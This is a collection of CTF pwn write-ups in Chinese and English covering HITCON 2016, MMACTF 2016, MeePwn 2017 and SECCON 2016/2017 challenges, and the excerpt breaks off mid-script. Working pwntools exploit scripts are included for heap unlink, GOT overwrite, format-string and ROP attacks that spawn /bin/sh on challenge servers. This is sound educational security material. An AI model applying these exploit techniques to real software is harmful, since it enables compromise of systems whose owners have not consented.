42 | renew(3, 'E'*8 + p64(0x21) + p64(huge_ptr-0x18) + p64(huge_ptr-0x10) + p64(0x20) + p64(0xfb0))
43 | ```
44 |
45 | # 我們的目標,huge_ptr = 0x6020a8
46 |
47 | small/huge chunk -> 0x0000000000000000 0x0000000000000031
48 | huge_ptr point to -> 0x4545454545454545 0x0000000000000021
49 | 0x0000000000602090 0x0000000000602098
50 | big chunk -> 0x0000000000000020 0x0000000000000fb0
51 | big_ptr point to -> 0x434343434343430a 0x000000000000000a
52 | 0x0000000000000000 0x0000000000000000
53 | 0x0000000000000000 0x0000000000000000
54 |
55 |
56 | 成功之後我們就可以去 renew huge 來把 huge_ptr 蓋成 `free@got.plt`,順便把位址更高的 small_ptr 蓋成 `__libc_start_main@got.plt`。
57 |
58 | ```python
59 | renew(3, 'F'*24 + p64(free_got) + p64(libc_start_main_got))
60 | ```
61 |
62 | 0x602090: 0x4646464646464646 0x4646464646464646
63 | 0x6020a0: 0x4646464646464646 0x0000000000602018 <- huge_ptr
64 | 0x6020b0: small_ptr -> 0x0000000000602048 0x000000010000000a
65 | 0x6020c0: 0x0000000000000001 0x0000000000000000
66 |
67 |
68 | 接著只要再 renew huge 送 `puts@plt` 進去,就可以將 `free` 蓋成 `puts` 了。
69 | 又因為我們剛才把 small_ptr 蓋成 `__libc_start_main@got.plt`,我們可以用 wipe small 來 leak 出 libc address,從而推出 libc base address。
70 |
71 | 接著,我們再一次用 renew huge 把 `system` 給送上去,這樣就把 `free` 蓋成 `system` 了。然後我們利用 keep small 把 `"/bin/sh"` 寫進 small_ptr。最後,用 wipe small 的時候就會從 `free(small_ptr)` 變成 `system("/bin/sh")`,順利取得 shell!
72 |
73 |
--------------------------------------------------------------------------------
/HITCONCTF_2016_qual/SecretHolder/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | from pwn import *
3 |
4 | #r = remote('52.68.31.117', 6666)
5 | r = remote('127.0.0.1', 4000)
6 | #libc = ELF('/root/CTF/HITCON2016/libc.so.6_375198810bb39e6593a968fcbcf6556789026743')
7 | libc = ELF('/root/glibc-2.19/64/lib/libc.so.6')
8 |
9 | huge_ptr = 0x6020a8
10 | small_ptr = 0x6020b0
11 | puts_plt = 0x4006c0
12 | free_got = 0x602018
13 | libc_start_main_got = 0x602048
14 | libc_start_main_off = libc.symbols['__libc_start_main']
15 | system_off = libc.symbols['system']
16 |
17 | def keep(level, s):
18 | r.recvuntil('3. Renew secret')
19 | r.send('1')
20 | r.recvuntil('3. Huge secret')
21 | r.send(str(level))
22 | r.recvuntil('Tell me your secret: ')
23 | r.send('{}'.format(s))
24 |
25 | def wipe(level):
26 | r.recvuntil('3. Renew secret')
27 | r.send('2')
28 | r.recvuntil('3. Huge secret')
29 | r.send(str(level))
30 |
31 | def renew(level, s):
32 | r.recvuntil('3. Renew secret')
33 | r.send('3')
34 | r.recvuntil('3. Huge secret')
35 | r.send(str(level))
36 | r.recvuntil('Tell me your secret: ')
37 | r.send('{}'.format(s))
38 |
39 | # allocate 0x40000 bytes throgh mmap
40 | keep(3, 'A'*8)
41 |
42 | # allocate for small_ptr
43 | keep(1, 'B'*8)
44 |
45 | # allocate for big_ptr
46 | keep(2, 'C'*8)
47 |
48 | wipe(3)
49 | wipe(1)
50 | wipe(2)
51 |
52 | # this time, use malloc instead of mmap to allocate 0x40000 bytes !
53 | keep(3, 'A'*8)
54 |
55 | # use double free so that later we can let small and huge overlap
56 | wipe(1)
57 |
58 | # small now overlap with huge
59 | keep(1, 'B'*8)
60 |
61 | # smallbin follow right after fastbin
62 | keep(2, 'C'*8)
63 |
64 |
65 | # write some crutial data for the following unlink exploit
66 | renew(3, 'E'*8 + p64(0x21) + p64(huge_ptr-0x18) + p64(huge_ptr-0x10) + p64(0x20) + p64(0xfb0))
67 |
68 | # free(big_ptr) unlink!!
69 | wipe(2)
70 |
71 | # overwrite from &huge_ptr-0x18
72 | renew(3, 'F'*24 + p64(free_got) + p64(libc_start_main_got))
73 |
74 | # GOT hijack free to puts
75 | renew(3, p64(puts_plt))
76 |
77 | # free(small_ptr) -> puts("__libc_start_main@got.plt")
78 | wipe(1)
79 |
80 | base = u64(r.recvuntil('3. Renew secret')[1:7] + '\x00'*2) - libc_start_main_off
81 | print "libc base: ", hex(base)
82 |
83 | system = base + system_off
84 |
85 | # GOT hijack free to system
86 | r.send('3')
87 | r.recvuntil('3. Huge secret')
88 | r.send('3')
89 | r.recvuntil('Tell me your secret: ')
90 | r.send(p64(system))
91 |
92 | # write "/bin/sh" to small_ptr
93 | keep(1, '/bin/sh\x00')
94 |
95 | # free(small_ptr) -> system("/bin/sh")
96 | wipe(1)
97 |
98 | r.interactive()
99 |
--------------------------------------------------------------------------------
/HITCONCTF_2016_qual/SecretHolder/mmap_test.md:
--------------------------------------------------------------------------------
1 | # mmap and malloc test
2 |
3 | ```c
4 | #include
5 |
6 | int main(void)
7 | {
8 | int *p, *q, *r, *s, *t, *u;
9 |
10 | p = malloc(0x32000);
11 | free(p);
12 | q = malloc(0x32000);
13 | free(q);
14 | r = malloc(0x40000);
15 | free(r);
16 | s = malloc(0x40000);
17 | free(s);
18 | t = malloc(0x64000);
19 | free(t);
20 | u = malloc(0x64000);
21 | free(u);
22 |
23 | return 0;
24 | }
25 | ```
26 |
27 | ## 利用 ltrace 測試結果
28 | ```
29 | __libc_start_main(0x400536, 1, 0x7ffca9664a78, 0x4005f0
30 | malloc(204800) = 0x7fa82df73010
31 | free(0x7fa82df73010) =
32 | malloc(204800) = 0x69f010
33 | free(0x69f010) =
34 | malloc(262144) = 0x69f010
35 | free(0x69f010) =
36 | malloc(262144) = 0x69f010
37 | free(0x69f010) =
38 | malloc(409600) = 0x7fa82df41010
39 | free(0x7fa82df41010) =
40 | malloc(409600) = 0x69f010
41 | free(0x69f010) =
42 | +++ exited (status 0) +++
43 | ```
44 |
45 | 可以注意到第一次分配大空間並 free 掉之後,接下來再要相同或稍大的空間時,都會拿到 heap 中的空間。不過若是再要更大一點的空間,又會由 `mmap` 來分配。不過 free 掉後再要一次又會拿到 heap 裡的空間。
46 | 和 malloc.c 裡面的說明相對照,應該是有一個門檻,只要要求的大小過了該門檻就會先用 `mmap` 來分配,並在該空間被 free 掉後提高門檻。
47 | malloc.c 中的註解:
48 |
49 | ```
50 | The threshold goes up in value when the application frees memory that was
51 | allocated with the mmap allocator. The idea is that once the application
52 | starts freeing memory of a certain size, it's highly probable that this is
53 | a size the application uses for transient allocations. This estimator
54 | is there to satisfy the new third requirement.
55 | ```
56 |
57 | 大概是這樣,如果有錯誤的話還請務必指出 XD
58 |
--------------------------------------------------------------------------------
/HITCONCTF_2016_qual/SecretHolder/test.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int main(void)
4 | {
5 | int *p, *q, *r, *s, *t, *u;
6 |
7 | p = malloc(0x32000);
8 | free(p);
9 | q = malloc(0x32000);
10 | free(q);
11 | r = malloc(0x40000);
12 | free(r);
13 | s = malloc(0x40000);
14 | free(s);
15 | t = malloc(0x64000);
16 | free(t);
17 | u = malloc(0x64000);
18 | free(u);
19 |
20 | return 0;
21 | }
22 |
--------------------------------------------------------------------------------
/MMACTF_2nd_2016/README.md:
--------------------------------------------------------------------------------
1 | # MMACTF_2nd_2016
2 |
--------------------------------------------------------------------------------
/MMACTF_2nd_2016/greeting/README.md:
--------------------------------------------------------------------------------
1 | greeting
2 | ==========
3 | 這題花了很多時間試各種解法,最後還是看了學長的提示才知道方向QQ 不過也是學會新東西了!
4 |
5 | 解題流程
6 | ----------
7 | 這題會先用 getnline() 接收 63bytes 的輸入,然後用帶有 format string 漏洞的 printf 連同一些歡迎訊息一起印出來。
8 |
9 | 首先,我們可以看到 getnline 裡面有呼叫 ```strlen```,並且參數是我們可控的 input buffer,若我們利用上面提到的漏洞將 strlen 的 GOT 寫成 ```system```,然後輸入 ```"/bin/sh"```,我們即可拿到 shell。
10 |
11 | 80486bc: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
12 | 80486bf: 89 04 24 mov DWORD PTR [esp],eax
13 | 80486c2: e8 f9 fd ff ff call 80484c0
14 |
15 | 但是問題在於 printf 是在 getnline 結束後才被呼叫的,利用 printf 改 GOT 已經太遲了。
16 | 此時可行的一個方法是我們將程式控回 call getnline 之前,這樣就可以再去 call strlen 一次了!
17 | 所以我們可以把 ```.fini_array``` 這個 section 裡面的某個 function pointer,像這裡我把 ```__do_global_dtors_aux```,給改成 ```main``` 的位址。
18 |
19 | [20] .fini_array FINI_ARRAY 08049934 000934 000004 00 WA 0 0 4
20 |
21 | 這個 section 是當程式要結束前會來執行這裡面放的一些 function,來進行一些終止前的作業。
22 |
23 | ----------
24 |
25 | 所以我們要做的就是在一個 printf 的 call 裡面完成 strlen GOT 的覆蓋以及 .fini_array 裡面的值。
26 | 這裡要特別注意的是題目有列出這條限制:
27 |
28 | Note: To prevent from DoS attacks, output length is limited in 131072 characters.
29 |
30 | 一開始我沒有考慮到這個問題,任意擺放要蓋的順序,結果就是產生太多不必要的 overflow 輸出,比題目限制多噴了 2000 多個 characters QAQ
31 |
32 | 後來 **@nae** 建議我將要蓋的數值由小排到大。假設 addr1 要蓋成 0x1234、addr2 要蓋成 0x1230,那擺到 buffer 上的順序就是 ```p32(addr2) + p32(addr1)```。這樣可以避免後面要蓋的值比前面小,導致必須 overflow 後重新算,造成的大量輸出。
33 |
34 | 都蓋成功後當程式等輸入時送進 "/bin/sh",等一下 call strlen 的時候就可以成功得到 shell 了!
35 |
36 |
--------------------------------------------------------------------------------
/MMACTF_2nd_2016/greeting/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | from pwn import *
3 |
4 | s = remote('127.0.0.1', 4000)
5 | #s = remote('pwn2.chal.ctf.westerns.tokyo', 16317)
6 |
7 | fini_array = 0x08049934
8 | main = 0x080485ed
9 | strlen_got = 0x08049a54
10 | system_plt = 0x08048490
11 |
12 | fmt = 'AA'
13 | fmt += p32(strlen_got + 2) + p32(strlen_got) + p32(fini_array)
14 | printed = 18+2+12
15 |
16 | fmt += '%{}c%{}$hn'.format(0x0804-printed, 12)
17 | printed = 0x0804
18 |
19 | fmt += '%{}c%{}$hn'.format(0x8490-printed, 13)
20 | printed = 0x8490
21 |
22 | fmt += '%{}c%{}$hn'.format(0x85ed-printed, 14)
23 |
24 | # order : 0x0804 0x8490 0x85ed
25 |
26 | #print 'len(fmt) = ',len(fmt)
27 |
28 | s.sendline(fmt)
29 |
30 | ########## return to main ##########
31 |
32 | s.sendline('/bin/sh\x00')
33 |
34 | s.interactive()
35 |
--------------------------------------------------------------------------------
/MeePwn-CTF-2017/bs/README.md:
--------------------------------------------------------------------------------
1 | # [MeePwn CTF 1st 2017] bs
2 |
3 | > Category: pwnable
4 | > Author: briansp8210 @ BambooFox
5 |
6 | ```
7 | RELRO: Partial RELRO
8 | Stack: No canary found
9 | NX: NX enabled
10 | PIE: No PIE (0x8048000)
11 | ```
12 |
13 | 程式主要做的是接受使用者輸入一組數字,隨後進行 binary search。
14 | 首先會需要登入,如果輸入的密碼正確就可以以 root 登入,否則就必須指定一個非 0 的 uid。
15 | 接著 `check_root()` 會檢查是否為 root,這裡他只比對 uid 的低 2 bytes,因此若是用像 `0xffff0000` 這樣的 uid 是可以成功繞過檢查的。
16 |
17 | ```c
18 | if ( !(_WORD)uid )
19 | is_root = 1;
20 | ```
21 |
22 | 接下來就輸入要 sort 多少數字,並逐一輸入。這裡只有 root 身分才能夠 sort 超過 31 個數字。
23 | 在輸入完後可以看剛剛給了什麼數字,這裡沒有檢查 index 是否為正,因此可以讀到 `.got.plt` 上的值,[查詢](https://libc.blukat.me/?q=printf%3Af30%2Cread%3A2a0&l=libc6_2.24-3ubuntu2.2_i386)之後得知是 `libc6_2.24-3ubuntu2.2_i386`。
24 | 在 `bubble_sort` 之後就可以指定要 search 哪一個值並開始搜。過程中用來存左右界和中間點 index 的變數都是 `char` 型別,所以像 sort number 較多,而一開始 `array[mid_idx] < target_val` 的情況下,中間點 index 就會 overflow 成負的。
25 |
26 | ```c
27 | while ( l_bnd <= r_bnd )
28 | {
29 | printf("MID[%hhi] is 0x%x\n", mid_idx, array[mid_idx]);
30 | if ( array[mid_idx] >= target_val )
31 | {
32 | if ( array[mid_idx] == target_val )
33 | {
34 | printf("%d found at %hhi !!!\n", target_val, mid_idx);
35 | edit(mid_idx);
36 | break;
37 | }
38 | r_bnd = mid_idx - 1;
39 | mid_idx = l_bnd + mid_idx - 1;
40 | mid_idx /= 2;
41 | }
42 | else
43 | {
44 | l_bnd = mid_idx + 1;
45 | mid_idx += 1 + r_bnd;
46 | mid_idx /= 2;
47 | }
48 | }
49 | ```
50 |
51 | 我這邊是搜 `0x6fffffff`,這是 `array[-41]` 的原始值,因此 binary search 跑到 -41 的地方會成功找到目標,並呼叫 `edit(-41)`。`edit()` 會從傳入的 index 開始,針對各個 `array` 的元素詢問是否要做修改。由於這裡傳入的是 -41,我們可以改的範圍從 `array[-41]` 到 `array[126]`,涵蓋 `.got.plt`。
52 | 首先,我把 `open@got.plt` 改去跑 `xor eax, eax ; ret` ,這會讓 `login()` 改從 `stdin` 讀密碼。接著再把 `memcpy@got.plt` 蓋成 `system`,以及 `__isoc99_scanf@got.plt` 蓋成 `main`。如此一來就可以 return 回 `main`,並在 `login()` 中比對密碼的地方呼叫 `system("/bin/sh")`。
53 |
54 | ```c
55 | fd = open("/dev/urandom", 0);
56 | read(fd, &correct_password, 16u);
57 | puts("Enter your password:");
58 | read(0, &password, 16u);
59 | if ( !memcmp(&correct_password, &password, 16u) )
60 | {
61 | puts("Welcome back master !");
62 | uid = 0;
63 | }
64 | ```
65 |
66 | flag: `MeePwnCTF{C_1n73g3r_0v3v3rFl0w}`
67 |
--------------------------------------------------------------------------------
/MeePwn-CTF-2017/bs/bit:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/MeePwn-CTF-2017/bs/bit
--------------------------------------------------------------------------------
/MeePwn-CTF-2017/bs/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('128.199.135.210', 31335)
6 |
7 | libc = ELF('libc6_2.24-3ubuntu2.2_i386.so')
8 | main = 0x08048942
9 |
10 | # login as root for more number to sort
11 | r.sendafter('Enter your password:', '\n')
12 | r.sendlineafter('Please set your user_id: ', '-65536') # -65536 == 0xffff0000
13 |
14 | r.sendlineafter('How many numbers do you want to sort ?', '127')
15 | for i in range(127):
16 | r.sendline('0')
17 |
18 | # leak libc address
19 | r.sendlineafter('Enter -1 to break', '-21')
20 | r.recvline()
21 | libc_base = int(r.recvline(), 16) - libc.symbols['read']
22 | log.success('libc base: ' + hex(libc_base))
23 |
24 | system = libc_base + libc.symbols['system']
25 | xor_eax_eax_ret = libc_base + 0x0002c92c
26 |
27 | r.sendline('-1')
28 | r.sendlineafter('Enter value to find', str(0x6fffffff))
29 |
30 | # -19 => memcmp
31 | # -16 => open
32 | # -13 => scanf
33 |
34 | # hijack memcmp to system
35 | for i in range(41-19):
36 | r.sendafter('Do you want to edit it ?', 'n')
37 | r.sendafter('Do you want to edit it ?', 'y')
38 | r.sendlineafter('Enter new value', str(system))
39 |
40 | # make open just return 0
41 | for i in range(18-16):
42 | r.sendafter('Do you want to edit it ?', 'n')
43 | r.sendafter('Do you want to edit it ?', 'y')
44 | r.sendlineafter('Enter new value', str(xor_eax_eax_ret))
45 |
46 | # hijack scanf to main
47 | for i in range(15-13):
48 | r.sendafter('Do you want to edit it ?', 'n')
49 | r.sendafter('Do you want to edit it ?', 'y')
50 | r.sendlineafter('Enter new value', str(main))
51 |
52 | # trigger scanf to return to main
53 | r.sendafter('Do you want to edit it ?', 'y')
54 |
55 | r.sendafter('Enter new value\n', '/bin/sh\x00')
56 | r.sendafter('Enter your password:\n', 'deadbeef')
57 |
58 | r.interactive()
59 |
--------------------------------------------------------------------------------
/MeePwn-CTF-2017/bs/libc6_2.24-3ubuntu2.2_i386.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/MeePwn-CTF-2017/bs/libc6_2.24-3ubuntu2.2_i386.so
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CTF-writeup
2 |
3 | Write-ups for CTF challenges (mainly Pwn) I solved or practiced.
4 |
--------------------------------------------------------------------------------
/SECCON-2016-online-CTF/README.md:
--------------------------------------------------------------------------------
1 | # SECCON-2016-online-CTF
2 |
--------------------------------------------------------------------------------
/SECCON-2016-online-CTF/checker/README.md:
--------------------------------------------------------------------------------
1 | # checker
2 |
3 | > category: Exploit
4 | > points: 300
5 |
6 | 在解這題的時候走錯方向,一直想 overflow 在 bss 段的 name buffer 來看能不能印出 flag。後來看到 bruce 學長的思路,以及在賽後看了 [writeup](https://github.com/Inndy/ctf-writeup/tree/master/2016-seccon/checker),才知道這題可以用 SSP (Stack Smash Protector) 來做。
7 |
8 | ## observe
9 |
10 | 這個程式一開始就會把 flag 給讀到位在 bss 的 buffer,所以如果能讀到那個位址,就可以得到 flag。另外在執行過程中也會有很多次輸入的機會。
11 | 第一次是讓使用者輸入名字,並存到 name buffer,由於這裡可以 overflow 到 flag,所以在這裡是了好久。
12 | 剩下的輸入都是直接寫到 main 的一個 local buffer,我們就是要利用這裡來 overflow。
13 |
14 | ## [SSP](http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf)
15 | 當程式有開啟 stack canary 時,只要我們 overflow 時改到存在 stack 上的隨機數,就會出現像這樣的警告:
16 |
17 | ```
18 | *** stack smashing detected ***: ./checker terminated
19 | ```
20 |
21 | 問題是,他是怎麼拿到我們執行檔的名稱呢?去看 `__stack_chk_fail` 的 source code 會發現他將警告訊息的前半部傳進 `__fortify_fail`
22 |
23 | ```c
24 | void
25 | __attribute__ ((noreturn))
26 | __stack_chk_fail (void)
27 | {
28 | __fortify_fail ("stack smashing detected");
29 | }
30 | ```
31 |
32 | 再去觀察 `__fortify_fail` 就會發現我們的執行檔名稱是從 `argv[0]` 取得的
33 |
34 | ```c
35 | void
36 | __attribute__ ((noreturn)) internal_function
37 | __fortify_fail (const char *msg)
38 | {
39 | /* The loop is added only to keep gcc happy. */
40 | while (1)
41 | __libc_message (2, "*** %s ***: %s terminated\n",
42 | msg, __libc_argv[0] ?: "");
43 | }
44 | ```
45 |
46 | 所以我們如果能控到位於 stack 的 `argv` 陣列,我們就可以將 `argv[0]` 改成我們要 leak 的位址,並且觸發 `__stack_chk_fail` 來印出該位址的內容,像這題我們就可以把 argv[0] 改成 flag buffer 的位址來印出 flag。
47 |
48 | ## exploit
49 |
50 | 首先要找到 `argv[0]` 和輸入 buffer 的 offset,這裡利用 qira 來找會比較方便。不過這個時候還沒辦法直接將 flag buffer 的位址給蓋上去,因為他的位址只有 3bytes,但是如果用 gdb 觀察會發現那裏原本用了 6bytes 來存位址,所以我們直接蓋的話會蓋不到高位導致失敗。所以這裡我們要先利用程式問我們知不知道 flag 的那個迴圈,以及他提供的 `getaline` 會在輸入結尾補 null byte 的特性來把高位清空。接著就可以將 flag buffer 的位址填上去來 leak flag。
51 |
52 | ```
53 | *** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated
54 | ```
55 |
56 |
57 |
--------------------------------------------------------------------------------
/SECCON-2016-online-CTF/checker/checker:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/SECCON-2016-online-CTF/checker/checker
--------------------------------------------------------------------------------
/SECCON-2016-online-CTF/checker/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('checker.pwn.seccon.jp', 14726)
6 |
7 | flag_txt = 0x6010c0
8 |
9 | print r.recvuntil('NAME : ')
10 |
11 | raw_input('#')
12 |
13 | r.sendline('A'*8)
14 |
15 | # padding offset of argv[0] is 376
16 |
17 | for i in range(5, 2, -1):
18 | print r.recvuntil('>> ')
19 | r.sendline('B' * (376+i))
20 |
21 | print r.recvuntil('>> ')
22 | r.sendline('B'*376 + p64(flag_txt))
23 |
24 | print r.recvuntil('>> ')
25 | r.sendline('yes')
26 |
27 | r.sendlineafter('FLAG : ', 'Q'*8)
28 |
29 | print r.recv()
30 |
31 | r.interactive()
32 |
--------------------------------------------------------------------------------
/SECCON-2016-online-CTF/cheer_msg/README.md:
--------------------------------------------------------------------------------
1 | # cheer_msg
2 |
3 | 之前看到 [CTF-pwn-tips](https://github.com/Naetw/CTF-pwn-tips) 裡面提到 `alloca` 的利用方式,才知道這題要怎麼破。今天終於有空把他解出來了XD
4 |
5 | ## Analyze
6 |
7 | 程式一開始會請你輸入 message 的長度,接著利用 `alloca` 針對訊息長度來分配適當的空間。
8 | 查 `alloca` 的 man page 可以發現他是直接在 caller 的 stack frame 上分一塊空間出來的。
9 |
10 | >The alloca() function allocates size bytes of space in the stack frame of the caller. This temporary space is automatically freed when the function that called alloca() returns to its caller.
11 |
12 | 接著如果去看程式的組語會發現他是用 `sub esp, eax` 來實作分配空間,其中 `eax` 和指定的 size 有關。因此如果我們指定 size 為負數,就有機會讓分配空間的位址比當前的 `esp` 還高,從而導致 overflow 等問題。
13 | ## Exploit
14 |
15 | 稍微測試一下後,我選了 -112 當作 size,這會讓分配到的位址,也就是 `esp` 比 `main` 的 `ebp` 還高。接著呼叫 `message` 會造成他的 stack frame 和 `main` 的 stack frame 部分重疊,在我們輸入 `name` 的時候因此可以蓋到 `main` 的 return address 來建 ROP chain。
16 |
17 | ```c
18 | int __cdecl message(int buf, int len)
19 | {
20 | char name;
21 | int v4;
22 |
23 | v4 = *MK_FP(__GS__, 20);
24 | printf("Message >> ");
25 | getnline((char *)buf, len);
26 | printf("\nOops! I forgot to ask your name...\nCan you tell me your name?\n\nName >> ");
27 | getnline(&name, 64);
28 | printf("\nThank you %s!\nMessage : %s\n", &name, buf);
29 | return *MK_FP(__GS__, 20) ^ v4;
30 | }
31 | ```
32 |
33 | 於是就可以用 `printf` 來 leak libc address,然後 return 回 `main` 重複一次攻擊流程。這次就可以疊 `system("/bin/sh")` 來開 shell 了。
34 |
--------------------------------------------------------------------------------
/SECCON-2016-online-CTF/cheer_msg/cheer_msg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/SECCON-2016-online-CTF/cheer_msg/cheer_msg
--------------------------------------------------------------------------------
/SECCON-2016-online-CTF/cheer_msg/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | r = remote('127.0.0.1', 4000)
5 | #libc = ELF('libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368')
6 | libc = ELF('/lib32/libc.so.6')
7 |
8 | printf_plt = 0x08048430
9 | fgets_got = 0x804a014
10 | fgets_off = libc.symbols['fgets']
11 | system_off = libc.symbols['system']
12 | main = 0x080485ca
13 |
14 | r.sendlineafter('Message Length >> ', '-112')
15 |
16 | rop = p32(printf_plt) + p32(main) + p32(fgets_got)
17 | r.sendlineafter('Name >> ', 'A'*32 + rop)
18 |
19 | # leak libc base address
20 | r.recvuntil('Message : \n')
21 | libc_base = u32(r.recvn(4)) - fgets_off
22 | system = libc_base + system_off
23 | binsh = libc_base + next(libc.search('/bin/sh\x00'))
24 | print 'libc base: ', hex(libc_base)
25 |
26 | #======== ret to main to exploit again, this time we have system ========
27 |
28 | r.sendlineafter('Message Length >> ', '-112')
29 |
30 | rop = p32(system) + p32(0xdeadbeef) + p32(binsh)
31 | r.sendlineafter('Name >> ', 'A'*32 + rop)
32 |
33 | r.interactive()
34 |
--------------------------------------------------------------------------------
/SECCON-2016-online-CTF/cheer_msg/libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/SECCON-2016-online-CTF/cheer_msg/libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368
--------------------------------------------------------------------------------
/SECCON-2017-online-CTF/Election/README.md:
--------------------------------------------------------------------------------
1 | # Election
2 |
3 | ```
4 | Arch: amd64-64-little
5 | RELRO: Full RELRO
6 | Stack: Canary found
7 | NX: NX enabled
8 | PIE: No PIE (0x400000)
9 | ```
10 |
11 | Too late to complete before ending of competition but at least seeing the flag :D
12 |
13 | ## Analysis
14 |
15 | ```
16 | *** Election ***
17 |
18 | 1. stand
19 | 2. vote
20 | 3. result
21 | 0. eat chocolate
22 | >>
23 | ```
24 |
25 | The challenge is a voting system, we can add candidate, vote and display the result. The candidate information is maintain in a linked list with `list` as head. Following is the structure of its node:
26 |
27 | ```c
28 | struct info {
29 | char *name;
30 | struct info *next;
31 | int32_t votes;
32 | };
33 | ```
34 |
35 | * `stand`: add a candidate info entry to the list.
36 | * `vote`: find a candidate from the list, increment his votes if exists.
37 | * `result`: display information of each candidate in the list.
38 |
39 | There is a `lv` flag to make sure we can't perform action with small `lv` after doing action with big `lv`.
40 | The vulnerability appears when we vote to candidates named `Oshima`. The system will ask us whether re-vote to correct name with input length 48 bytes, where trigger overflow:
41 |
42 | ```c
43 | printf("I'm not 'Oshima', but 'Ojima'!\nWould you modify the name and re-vote?\n>> ");
44 | getnline(&input_buf, 48);
45 | if ( !strcasecmp(&input_buf, "yes") )
46 | *(int32_t *)(ojima_info + 16) += votes_num;
47 | ```
48 |
49 |
50 | input_buf -> 0x0000616d6968736f 0x00007ffe541629e0
51 | 0x0000000000400800 0x00007f2041059388
52 | ojima_info -> 0x0000000001984090 0x0000000000400901 <- votes_num, only 1 byte
53 | 0x0000000000000000 0x09346bd50b645700
54 | 0x00007ffe54162a00 0x0000000000400972
55 |
56 |
57 | Hence, we can perform arbitrarily write with ojima_info and votes_num in control.
58 | My plan is overwrite `__malloc_hook` to one gadget to open shell.
59 |
60 | ## Exploit
61 |
62 | First, We need to leak libc address, this can be done by making `list` point to fake entry, whose `name` points to somewhere store libc address. However, we need to make sure that there is an entry in the list with `name` points to `Ojima` so that we can trigger the overflow again to perform subsequent exploit.
63 | Therefore, I utilize the arbitrarily write to construct a series of fake chunk to leak libc address and keep `Ojima` entry in list meanwhile.
64 |
65 |
66 | list
67 | |
68 | |
69 | ↓ ----------------------------------------------
70 | 0x19d70f0: | 0xffffffffff600804 0x0000000000602050 |---
71 | 0x19d7100: | 0x0000000000000000 0x0000000000020f01 | |
72 | ---------------------------------------------- |
73 | ______________________________________________________|
74 | |
75 | ↓ ----------------------------------------------
76 | 0x602050: | 0x0000000000401004 0x0000000000602070 |---
77 | 0x602060: | 0x0000000000000000 0x0000000000000000 | |
78 | ---------------------------------------------- |
79 | ______________________________________________________|
80 | |
81 | ↓ ----------------------------------------------
82 | 0x602070: | 0x0000000000601f88 0x0000000000000000 |<-- end of list
83 | 0x602080: | 0x0000000000000000 0x0000000000000000 |
84 | ----------------------------------------------
85 |
86 | # 0x401004 points to "ojima"
87 | # 0x601f88 points to a libc address
88 |
89 |
90 | Finally, we can overwrite `__malloc_hook` to one gadget, and overwrite `lv` to 0 so that we can use `stand` function, which include a `malloc` function call to trigger `__malloc_hook` to open shell.
91 |
92 | flag: `SECCON{I5_7h15_4_fr4ud_3l3c710n?}`
93 |
--------------------------------------------------------------------------------
/SECCON-2017-online-CTF/Election/election-9724a8d0a6c9ccb131200ec96752c61c0e6734cd9e1bb7b1958f8c88c0bd78fa.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/SECCON-2017-online-CTF/Election/election-9724a8d0a6c9ccb131200ec96752c61c0e6734cd9e1bb7b1958f8c88c0bd78fa.zip
--------------------------------------------------------------------------------
/SECCON-2017-online-CTF/Election/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('election.pwn.seccon.jp', 28349)
6 | libc = ELF('libc-2.23.so')
7 |
8 | def stand(name):
9 | r.sendlineafter('chocolate\n>> ', '1')
10 | r.sendafter('Enter the name.\n>> ', name)
11 |
12 | def vote(show, name, new_name):
13 | r.sendlineafter('chocolate\n>> ', '2')
14 | r.sendafter('(Y/n) ', show)
15 | r.sendafter('name of the candidate.\n>> ', name)
16 | if name.lower() == 'oshima':
17 | r.sendafter('re-vote?\n>> ', new_name)
18 |
19 | def result():
20 | r.sendlineafter('chocolate\n>> ', '3')
21 |
22 | def eat():
23 | r.sendlineafter('chocolate\n>> ', '4')
24 |
25 | def arbitrary_write(target, value, length):
26 | for i in range(length):
27 | val = (value >> (8*i)) & 0xff
28 | while True:
29 | if val > 0x7f:
30 | vote('y', 'oshima', 'yes\x00AAAA'+'A'*24+p64(target+i-0x10)+chr(0x7f))
31 | val -= 0x7f
32 | else:
33 | vote('y', 'oshima', 'yes\x00AAAA'+'A'*24+p64(target+i-0x10)+chr(val))
34 | break
35 |
36 | str_ojima = 0x401004
37 | lv = 0x602010
38 |
39 | # first fake candidate info
40 | # 0xffffffffff600804 is used to fill all 8 bytes such that strdup() will bring 0x602050 to heap
41 | stand(p64(0xffffffffff600804)+p64(0x602050))
42 | #second fake chunk info
43 | arbitrary_write(0x602050, str_ojima, 3)
44 | arbitrary_write(0x602058, 0x602070, 3)
45 | # third fake chunk info
